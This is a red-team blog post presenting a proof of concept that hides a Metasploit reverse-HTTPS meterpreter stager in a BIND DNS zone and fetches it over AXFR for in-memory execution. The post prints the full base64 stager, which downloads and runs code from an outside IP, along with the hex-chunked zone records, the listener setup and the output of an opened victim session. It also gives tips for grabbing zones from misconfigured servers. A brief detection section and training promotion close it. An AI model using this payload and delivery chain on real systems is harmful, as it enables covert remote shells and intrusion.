Defensive Go back to all


Meterpreter Payload Delivery using DNS AXFR PoC

- By Leszek Miś

As red teamers, we have plenty, different DNS-based exfiltration/tunneling/ C2 / payload delivery techniques to choose. I went through many available tools and found that most of them rely on DNS query types from the list below:

  • A
  • AAAA
  • SOA
  • TXT
  • NULL
  • MX

So what about DNS AXFR?

What if you would like to use that DNS functionality for a payload delivery?

AXFR is a special DNS query type also known as DNS Zone Transfer. Basically, it's a DNS server feature that allows for DNS database replication across slave servers. Pentesters know, that it's always worth to check it out at a beginning of every security assessment. And it's as simple as running command below:

$ dig axfr

to grab the whole DNS zone structure, rather than running DNS subdomain brute force / dictionary-based attacks. And trust me, there are many DNS servers with open AXFR just waiting for grabbing the zone.

Tip #1: if it doesn't work today, try again tomorrow :)
Tip #2: if it doesn't work for every defined NS server from the list ns0, ns1, ns2, etc. try to use undefined ns3, ns4, ns5, etc. You may be surprised ;)

Personally, I like very much using a popular, open source infrastructure projects/components for C2/adversary simulations needs. Think about mod_rewrite or mod_security for securing or customizing your HTTP C2 profiles.

In our case, we are going to use a Bind server - the most widely used Domain Name System (DNS) software on the Internet for hosting our python/meterpreter/reverse_https shell inside DNS zone definition.

We have two standalone components:

I. is a zone generator. This script generates payload using msfvenom and converts it to bind's configuration.

./src/ -h
usage: [-h] -d DOMAIN -a IP -s SOA_ENTRIES -n NS_SERVER -o

Bind9 zone transfer malicious payload generator

optional arguments:
-h, --help show this help message and exit
-d DOMAIN, --domain DOMAIN
domain name for which configuration will be generated
-a IP, --ip IP ip name of generated domain
-s SOA_ENTRIES, --soa-entries SOA_ENTRIES
soa entries
-n NS_SERVER, --ns-server NS_SERVER
nameserver domain
-o OUTPUT_FILE, --output-file OUTPUT_FILE
output file name
-l LHOST, --lhost LHOST
local host address (remote address will connect on it)
-p LPORT, --lport LPORT
local port (remote address will connect on it)

II. is a AXFR executor. This script takes malicious payload from remote DNS server and executes it.

usage: [-h] -o OS -d DOMAIN_NAME -s SERVER_ADDRESS error: the following arguments are required: -o/--os, -d/--domain-name, -s/--server-address

All right, so let's check out now how it works. The step by step instruction is here:

vps # git clone
vps # cd msf-payload-in-axfr
vps # ./src/ -d -a -s -n -o ./out.conf -l -p 4445

b"import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHN5cwp2aT1zeXMudmVyc2lvbl9pbmZvCnVsPV9faW1wb3J0X18oezI6J3VybGxpYjInLDM6J3VybGxpYi5yZXF1ZXN0J31bdmlbMF1dLGZyb21saXN0PVsnYnVpbGRfb3BlbmVyJywnSFRUUFNIYW5kbGVyJ10pCmhzPVtdCmlmICh2aVswXT09MiBhbmQgdmk+PSgyLDcsOSkpIG9yIHZpPj0oMyw0LDMpOgoJaW1wb3J0IHNzbAoJc2M9c3NsLlNTTENvbnRleHQoc3NsLlBST1RPQ09MX1NTTHYyMykKCXNjLmNoZWNrX2hvc3RuYW1lPUZhbHNlCglzYy52ZXJpZnlfbW9kZT1zc2wuQ0VSVF9OT05FCglocy5hcHBlbmQodWwuSFRUUFNIYW5kbGVyKDAsc2MpKQpvPXVsLmJ1aWxkX29wZW5lcigqaHMpCm8uYWRkaGVhZGVycz1bKCdVc2VyLUFnZW50JywnTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4xOyBUcmlkZW50LzcuMDsgcnY6MTEuMCkgbGlrZSBHZWNrbycpXQpleGVjKG8ub3BlbignaHR0cHM6Ly8xODUuMjE5LjEzMi4xMDM6NDQ0NS9RQ1VXZGVReWs1VERQZFlwbjZWUUd3dEJUUVNFeE5JdmhaWHJzRjlkbzJQY2ZQd29UV0c0aHlOeVdMekV2MDNfRTlydWZ4ZVk5MzhaLU5hdFdaRWRMcTl5OU90V0pMMDliOHk4dVM3QkdIRVpTVWd1LVZfUTJwaE5Dc2RRSXBGM0FyanJGR2pYMXFNRFIxRW91T2JSakR6a2VIZHJVaE1GOVEzQTdmRGZJcWFYanNaRFFxX2NTTHRZWmI4OVE1eEdtMXBnX21QWmtObTBfX3d1Sk0nKS5yZWFkKCkpCg==')))"

vps # cat out.conf
; BIND data file for local loopback interface
$TTL 604800
@ IN SOA (
2 ; Serial
60 ; Refresh
60 ; Retry
60 ; Expire
4800 ) ; Negative Cache TTL
@ IN A
@ IN AAAA ::1
0.6157317762334a3049484e35637770326154317a65584d75646d567963326c7 IN A
1.6626c3970626d5a76436e5673505639666157317762334a305831386f657a49 IN A
2.364a33567962477870596a496e4c444d364a33567962477870596935795a584 IN A
3.6315a584e304a333162646d6c624d4631644c475a796232317361584e305056 IN A
4.736e596e5670624752666233426c626d56794a79776e5346525555464e49595 IN A
5.7356b624756794a313070436d687a50567464436d6c6d494368326156737758 IN A
6.5430394d694268626d5167646d6b2b505367794c4463734f536b70494739794 IN A
7.9485a70506a306f4d7977304c444d704f676f4a6157317762334a3049484e7a IN A
8.62416f4a63324d3963334e734c6c4e5454454e76626e526c6548516f63334e7 IN A
9.34c6c4253543152505130394d58314e54544859794d796b4b43584e6a4c6d4e IN A
10.6f5a574e7258326876633352755957316c50555a6862484e6c43676c7a59793 IN A
11.5325a584a705a6e6c666257396b5a54317a63327775513056535646394f5430 IN A
12.354643676c6f637935686348426c626d516f645777755346525555464e49595 IN A
13.7356b624756794b44417363324d704b517076505856734c6d4a316157786b58 IN A
14.3239775a57356c6369677161484d70436d38755957526b614756685a4756796 IN A
15.37a31624b436456633256794c55466e5a5735304a79776e5457393661577873 IN A
16.595338314c6a41674b466470626d527664334d67546c51674e6934784f79425 IN A
17.5636d6c6b5a5735304c7a63754d447367636e59364d5445754d436b6762476c IN A
18.725a5342485a574e72627963705851706c6547566a4b4738756233426c62696 IN A
19.76e6148523063484d364c7938784f4455754d6a45354c6a457a4d6934784d44 IN A
20.4d364e4451304e533952513156585a47565265577331564552515a466c77626 IN A
21.a5a575555643364454a5555564e466545354a646d686157484a7a526a6c6b62 IN A
22.7a4a5159325a51643239555630633061486c4f6556644d656b56324d444e665 IN A
23.2546c7964575a345a566b354d7a68614c553568644664615257524d63546c35 IN A
24.4f5539305630704d4d446c694f486b3464564d33516b6449525670545657643 IN A
25.14c565a6655544a776145354463325252535842474d304679616e4a47523270 IN A
26.594d58464e524649785257393154324a53616b5236613256495a484a5661453 IN A
27.1474f56457a5154646d52475a4a63574659616e4e615246467858324e545448 IN A
28.525a576d49344f564531654564744d58426e58323151576d744f62544266583 IN A
29.36431536b306e4b5335795a57466b4b436b7043673d3d IN A

As you can see, the generated payload was chunked into pieces of 63 bytes each per single A record.

Now, you have to copy the zone definition directly to your Bind server. 

Don't forget to include the zone definition by using a below snippet of configuration:

vps # cat out.conf.install

zone "" {
type master;
file "/etc/bind/out.conf";

BTW: Don't forget to define allow-transfer with external IP's for which you are allowing AXFR:

vps # cat /etc/bind/named.conf.local
zone "" {
type master;
file "/etc/bind/zones/";
allow-transfer { IP1; IP2/24; IP3/29; };

vps # service bind9 restart

Now it's time to setup a meterpreter LISTENER @ VPS:

vps # msfconsole
msf exploit(multi/handler) > set lport 4445
lport => 4445
msf exploit(multi/handler) > set lhost
lhost =>
msf exploit(multi/handler) > set payload python/meterpreter/reverse_https
payload => python/meterpreter/reverse_https
msf exploit(multi/handler) > run

[*] Started HTTPS reverse handler on

Let's grab and execute without toching a disk an AXFR-based payload on a victim side using

victim $ src/ -o linux -d -s

On the metasploit side we have a valid shell! :

[*] Started HTTPS reverse handler on
[*] handling request from; (UUID: kdcz90xx) Staging python payload (53678 bytes) ...
[*] Meterpreter session 1 opened ( -> at 2019-03-25 14:19:23 +0300

meterpreter >
meterpreter > sysinfo
Computer : xps
OS : Linux 4.4.0-140-generic #166-Ubuntu SMP Wed Nov 14 20:09:47 UTC 2018
Architecture : x64
System Language : en_US
Meterpreter : python/linux

victim $ ps aux | grep axfr

crony 22569 0.2 0.2 100120 44132 ? Ss 12:19 0:00 python3 src/ -o linux -d -s

From the blue perspective, keep remember that artifacts are there:

  • AXFR is easily detectable from IDS / IPS rules -> still it's a perfect way to validate if it really works or not :> !
  • AXFR should be visible from your DNS passive records, ex. dns.log @ BRO IDS -> watch for it!
  • 63 bytes long, random 0.6157317762334a3049484e35637770326154317a65584d75646d567963326c7 subdomains in DNS response -> ^^ suspicious?
  • as A record - again can you catch it?
  • In terms of generated DNS traffic -> small request -> big response, ex: 2713 bytes -> anomaly?
  • External, not-from-corpo-whitelisted, potentially malicious DNS server in use

Hope you enjoy reading this small post. Next one is on the way;)

BTW: the tool and the approach is a part of my 'In & Out - Network Exfiltration Techniques' Training' class too, that I am delivering during the upcoming events globally:

Register asap if you feel that you need knowledge transfer from the area of interest like this one, and ofc more:

This tool is also a component of our in-progress 'In & Out - EXFIL Platform' by Defensive Security - a distributed, post-exploitation and lateral movement simulation SaaS platform that allows for a safe, automated validation of your existing IT security solutions against modern network malicious techniques and adversaries behavior. More details soon, stay tuned! ;) 


Leszek Mis, Founder@Defensive-Security.